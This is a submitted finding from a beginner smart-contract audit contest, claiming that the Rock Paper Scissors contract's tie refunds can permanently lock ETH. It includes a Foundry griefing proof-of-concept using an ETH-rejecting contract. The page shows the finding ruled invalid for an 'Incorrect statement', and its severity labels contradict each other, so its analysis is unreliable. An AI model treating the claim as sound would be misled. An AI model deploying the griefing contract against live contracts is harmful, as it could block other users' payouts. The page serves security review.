Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Invalid

Protocol refund mechanism in `_handleTie` uses an unsale "all-or-nothing" transfer approach risking locking user funds if refund fails

Summary

The protocol's ETH refund mechanism in tie scenarios uses an unsafe "all-or-nothing" transfer approach that risks permanently locking user funds if either refund transfer fails. This violates the atomicity principle and lacks recovery mechanisms for partial failures.

Vulnerability Details

Affected Function: _handleTie()

Root Cause:

The contract attempts to send ETH refunds to both players in a single atomic transaction:

(bool successA,) = game.playerA.call{value: refundA}("");
(bool successB,) = game.playerB.call{value: refundB}("");
require(successA && successB, "Transfer failed"); // Both must succeed

If either transfer fails (even if one succeeds temporarily), the entire transaction reverts, leaving both refunds unprocessed and ETH permanently stuck in the contract.

Failure Scenarios:

  1. Malicious Contracts: A player contract rejects ETH transfers in its receive() function

  2. Gas Limits: Complex recipient logic exhausts gas during transfer

  3. Temporary Issues: Recipient addresses with intermittent failure states

Impact

Severity: High
Likelihood: Medium (Depends on user address types)
Consequences:

  • Permanent loss of refund ETH for both players

  • Protocol accumulates locked funds with no recovery path

  • Secondary attacks possible by griefers forcing failures

PoC

Foundry Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
// Test contract that rejects ETH transfers
contract Griefer {
receive() external payable {
revert("I reject your refund");
}
}
contract RockPaperScissorsTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public admin;
address public playerA;
address public playerB;
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA"); // Properly initialized
playerB = makeAddr("playerB");
// Deploy fresh contracts
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
function test_Revert_When_PlayerBRejectsTransfer_RefundLocksFunds() public {
// Deploy fresh contracts to avoid state contamination
RockPaperScissors freshGame = new RockPaperScissors();
// Create malicious contract that rejects ETH transfers
Griefer griefer = new Griefer();
vm.deal(address(griefer), 10 ether);
// Give playerA ETH for the initial bet
vm.deal(playerA, 10 ether); // Give 10 ETH to create a game
// Create game with playerA
vm.prank(playerA);
uint256 gamesId = freshGame.createGameWithEth{value: 0.1 ether}(3, 600);
// PlayerB (griefer) joins game
vm.prank(address(griefer));
freshGame.joinGameWithEth{value: 0.1 ether}(gamesId);
// Play until tie (3 identical moves)
// Turn 1 - Both play Rock
bytes32 saltA1 = keccak256("saltA1");
bytes32 commitA1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA1));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA1);
bytes32 saltB1 = keccak256("saltB1");
bytes32 commitB1 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB1));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB1);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Rock), saltA1);
vm.prank(address(griefer));
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Rock), saltB1);
// Turn 2 - Both play Paper
bytes32 saltA2 = keccak256("saltA2");
bytes32 commitA2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA2));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA2);
bytes32 saltB2 = keccak256("saltB2");
bytes32 commitB2 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB2));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB2);
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Paper), saltA2);
vm.prank(address(griefer));
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Paper), saltB2);
// Final Turn - Both play Scissors to force tie
bytes32 saltA3 = keccak256("saltA3");
bytes32 commitA3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA3));
vm.prank(playerA);
freshGame.commitMove(gamesId, commitA3);
bytes32 saltB3 = keccak256("saltB3");
bytes32 commitB3 = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltB3));
vm.prank(address(griefer));
freshGame.commitMove(gamesId, commitB3);
// Reveal final moves - this will trigger tie resolution
vm.prank(playerA);
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Scissors), saltA3);
// This reveal will trigger the failed transfer
vm.prank(address(griefer));
vm.expectRevert("Transfer failed");
freshGame.revealMove(gamesId, uint8(RockPaperScissors.Move.Scissors), saltB3);
// Verify funds locked
assertEq(address(freshGame).balance, 0.2 ether);
assertEq(address(griefer).balance, 9.9 ether); // Initial 10 - 0.1 bet
assertEq(playerA.balance, 9.9 ether); // Initial 10 - 0.1 bet
}
}

Tools Used

  1. Manual Review: Identified unsafe atomic transfer pattern

  2. Foundry: Executed PoC with contract-based griefing attack

Recommendations

  1. Implement Pull Payments:

    mapping(address => uint256) public pendingWithdrawals;
    function withdraw() external {
    uint256 amount = pendingWithdrawals[msg.sender];
    require(amount > 0, "No funds pending");
    pendingWithdrawals[msg.sender] = 0;
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
    }
    // In _handleTie():
    pendingWithdrawals[playerA] += refundA;
    pendingWithdrawals[playerB] += refundB;
  2. Add Emergency Recovery:

    function adminRecoverETH(address recipient) external onlyAdmin {
    (bool success,) = recipient.call{value: address(this).balance}("");
    require(success, "Transfer failed");
    }
  3. Circuit Breaker:

    bool public withdrawalsPaused;
    function withdraw() external {
    require(!withdrawalsPaused, "Withdrawals paused");
    // ... existing logic ...
    }

This approach decouples accounting from fund transfers, eliminates atomic failure risks, and provides admin safeguards while preserving user control over withdrawals.

Updates

Appeal created

m3dython Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!